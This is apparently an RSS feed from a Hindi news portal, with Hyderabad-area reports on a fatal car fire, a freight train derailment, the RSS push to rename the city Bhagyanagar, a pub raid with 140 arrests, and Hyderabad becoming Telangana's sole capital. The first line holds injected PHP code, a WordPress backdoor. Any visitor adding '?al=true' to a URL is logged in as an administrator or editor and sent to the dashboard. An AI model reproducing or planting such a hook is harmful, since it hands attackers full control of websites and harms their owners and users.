// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Hyderabad – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Tue, 07 Jan 2025 15:25:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 हैदराबाद में कार में आग लगने से दो जिंदा जले, आंध्र प्रदेश में पटरी से उतरी मालगाड़ी https://pratyushaashakinayikiran.com/?p=118497 Tue, 07 Jan 2025 15:25:00 +0000 https://pratyushaashakinayikiran.com/?p=118497 हैदराबाद।

हैदराबाद के घाटकेसर से बच्चाराम की ओर जा रही कार में आग लगने से कार में सवार दो लोग जिंदा जल गए। पुलिस ने कहा कि घटना सोमवार शाम 5:30 बजे की है। यात्रा के दौरान अचानक कार में आग की लपटें उठने लगीं और अंदर मौजूद दो व्यक्ति आग की चपेट में आ गए।

अग्निशमन विभाग के कर्मियों ने आग बुझाई। मरने वालों में से एक पुरुष था, जबकि दूसरे की पहचान नहीं हो सकी। उसका शरीर पूरी तरह से जल गया। आग लगने के कारण की जांच की जा रही है।

आंध्र प्रदेश में पटरी से उतरी मालगाड़ी
आंध्र प्रदेश के पलानाडु जिले के दचपेल्ली मंडल में मंगलवार सुबह श्रीनवासपुरम के पास एक मालगाड़ी पटरी से उतर गई। मालगाड़ी सीमेंट लोड करने के लिए विष्णुपुरम राशि सीमेंट फैक्टरी जा रही थी। इसके चलते यातायात ठप हो गया। इसके बाद गुंटूर और हैदराबाद के बीच चलने वाली ट्रेनों को विजयवाड़ा के रास्ते से चलाया जा रहा है। घटना की सूचना पर रेलवे पुलिस और अधिकारी घटनास्थल पर पहुंचे और बचाव कार्य शुरू किया।

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हैदराबाद का नाम बदलकर भाग्यनगर रखने की मांग को लेकर आरएसएस ने तेज की मुहिम https://pratyushaashakinayikiran.com/?p=100948 Wed, 20 Nov 2024 20:15:00 +0000 https://pratyushaashakinayikiran.com/?p=100948 हैदराबाद
हैदराबाद का नाम बदलकर भाग्यनगर रखने की मांग को लेकर राष्ट्रीय स्वयंसेवक संघ (आरएसएस) और भारतीय जनता पार्टी (बीजेपी) का रुख और अधिक स्पष्ट हो गया है। आरएसएस ने इस बदलाव को भारत की सांस्कृतिक पहचान की पुनर्स्थापना का हिस्सा बताया है। संघ की सांस्कृतिक इकाई प्रज्ञा प्रवाह द्वारा आयोजित चार दिन तक चलने वाला लोकमंथन कार्यक्रम इसी दिशा में एक महत्वपूर्ण कदम है। यूपी के मुख्यमंत्री योगी आदित्यनाथ और केंद्रीय मंत्री किशन रेड्डी पहले ही भाग्यनगर नाम की वकालत कर चुके हैं। अब आरएसएस के इस कदम से नाम बदलने की बहस और तेज हो गई है।

कार्यक्रम उद्घाटन राष्ट्रपति द्रौपदी मुर्मू करेंगी
प्रज्ञा प्रवाह के राष्ट्रीय संयोजक जे. नंदकुमार ने कहा, "हमारे लिए यह शहर हमेशा से भाग्यनगर महानगर रहा है और रहेगा। यह नाम शहर के प्रसिद्ध भाग्यलक्ष्मी मंदिर से आया है। यह भारत की सांस्कृतिक और ऐतिहासिक पहचान का प्रतीक है।" लोकमंथन के सभी निमंत्रण-पत्रों और पोस्टरों में हैदराबाद को भाग्यनगर बताया गया है। इस कार्यक्रम का उद्घाटन राष्ट्रपति द्रौपदी मुर्मू करेंगी और इसमें आरएसएस प्रमुख मोहन भागवत भी शामिल होंगे।

रिपोर्ट के मुताबिक, लोकमंथन एक ऐसा मंच है जहां देशभर के कलाकार, बुद्धिजीवी और शिक्षाविद् मिलकर भारत की सांस्कृतिक चुनौतियों पर मंथन करने के लिए पहुंचने वाले। इस बार के आयोजन का विषय है लोकावलोकन है, जो भारतीय परंपराओं और लोकाचारों की गहराई से जांच-पड़ताल करता है। इस कार्यक्रम में लोक विचार, लोक व्यवहार और लोक व्यवस्था जैसे तीन आयामों पर चर्चा होगी। आयोजन में लिथुआनिया, आर्मेनिया, इंडोनेशिया और रूस जैसे देशों से भी प्रतिनिधि शामिल होंगे।

तेलंगाना सीएम रेवंत रेड्डी को भी न्योता
आरएसएस के अनुसार, लोकमंथन का उद्देश्य औपनिवेशिक विचारधाराओं का खंडन करना है, जिन्होंने भारतीय समाज को विभाजित करने की कोशिश की। संघ का कहना है कि यह कार्यक्रम भारत की सांस्कृतिक एकता और परंपराओं को फिर से उभारने का प्रयास है। कार्यक्रम समिति के अध्यक्ष और केंद्रीय मंत्री किशन रेड्डी ने इसे भारत की साझा सांस्कृतिक धरोहर को समझने का अवसर बताया। हालांकि, तेलंगाना के मुख्यमंत्री रेवंत रेड्डी ने अपनी व्यस्तता के चलते इस कार्यक्रम में शामिल होने में असमर्थता जताई है।

आरएसएस ने लोकमंथन के जरिए हिंदुत्व की परिभाषा को धार्मिक सीमाओं से परे रखते हुए इसे एक सांस्कृतिक और समावेशी परंपरा के रूप में प्रस्तुत किया। संघ के एक वरिष्ठ पदाधिकारी ने कहा, "हिंदुत्व कभी किसी विशेष पूजा पद्धति का समर्थन नहीं करता। यह सभी को जोड़ने वाली प्राचीन परंपरा है।"

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हैदराबाद के पब में अवैध गतिविधियों पर 140 गिरफ्तार, इनमें 40 महिलाएं https://pratyushaashakinayikiran.com/?p=87501 Sun, 20 Oct 2024 15:15:00 +0000 https://pratyushaashakinayikiran.com/?p=87501 हैदराबाद.

तेलंगाना के हैदराबाद स्थित एक पब में पुलिस की छापेमारी में 140 लोगों को गिरफ्तार किया गया। बंजारा हिल्स स्थित इस पब से गिरफ्तार लोगों में 40 लोग महिलाएं भी शामिल हैं। बताया गया है कि पकड़े गए लोग अवैध गतिविधियों में शामिल थे। बताया गया है कि पुलिस ने खुफिया जानकारी मिलने के बाद रविवार को टीओएस पब में छापेमारी की थी। इसके बाद पब को सील कर दिया गया।

20 लोगों के खिलाफ केस दर्ज किया गया है, जिनमें आधी महिलाएं हैं। पुलिस ने कहा कि आरोपियों पर अलग-अलग धाराओं में मामले दर्ज किए गए हैं। जिन लोगों पर केस हुए हैं, उनमें पब के मालिक, डीजे ऑपरेटर भी शामिल हैं। आरोपियों पर धारा 420, धारा 290 (सार्वजनिक तौर पर उपद्रव करने) और धारा 294 (भद्दे गाने और हरकतों) के मामले में केज दर्ज हुआ है। एक रिपोर्ट के मुताबिक, यह छापेमारी मुख्य तौर पर पब में अभद्र डांस की शिकायतों को लेकर हुई। शिकायत थी कि पब के मालिकों ने अलग-अलग राज्यों की महिलाओं को कथित तौर पर अभद्र डांस के जरिए पुरुषों को रिझाने और पब का लाभ बढ़ाने के लिए रखा गया था। रिपोर्ट में यह भी कहा गया कि पुलिस अभियान से पहले पब को अवैध गतिविधियों के लिए निगरानी में रखा गया था। इसके बाद ही पुलिस की एक टीम ने पब पर छापेमारी की। बता दें कि पिछले महीने भी इसी तरह हैदराबाद में पांच पब्स में छापेमारी हुई थी। इनका नेतृत्व आबकारी प्रवर्तन विभाग के प्रमुख वीबी कमलासन रेड्डी ने किया था। जिन पब्स पर छापे डाले गए थे, उनमें शरलिंगमपल्ली में कोरम क्लब और जुबिली हिल्स में बेबीलॉन शामिल था।

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हैदराबाद आज से केवल तेलंगाना की राजधानी, आंध्र प्रदेश की कोई आधिकारिक राजधानी नहीं https://pratyushaashakinayikiran.com/?p=37035 Sun, 02 Jun 2024 16:25:00 +0000 https://pratyushaashakinayikiran.com/?p=37035 हैदराबाद.

देश के सबसे व्यस्त शहरों में से एक हैदराबाद आज से दो प्रदेशों की राजधानी नहीं रहा। आंध्र प्रदेश पुनर्गठन अधिनियम, 2014 के मुताबिक रविवार से हैदराबाद अब केवल तेलंगाना की राजधानी है, जो कि अब तक आंध्र प्रदेश की भी हुआ करता था। 2 जून  2014 में जब आंध्र प्रदेश के विभाजन के बाद तेलंगाना राज्य बना था, तभी से हैदराबाद आंध्र प्रदेश और तेलंगाना दोनों ही प्रदेशों की लगभग 10 सालों तक राजधाना बना रहा।

आंध्र प्रदेश पुनर्गठन के मुताबिक हैदराबाद 10 साल से ज्यादा समय के लिए दोनों राज्य की राजधानी नहीं रह सकता है। उपधारा (1) में दी गई समय अवधि के बाद हैदराबाद केवल तेलंगाना की राजधानी है, जबकि आंध्र प्रदेश के लिए नई राजधानी बनाई जाएगी। फरवरी 2014 में आंध्र प्रदेश पुनर्गठन विधेयक संसद में बना था आंध्र प्रदेश में लंबे समय से तेलंगाना राज्य की मांग हो रही थी। इसके बाद सर्वसम्मति से फरवरी 2014 में संसद में आंध्र प्रदेश पुनर्गठन विधेयक पास किया गया और 2 जून 2014 को देश में नया राज्य तेलंगाना बना।

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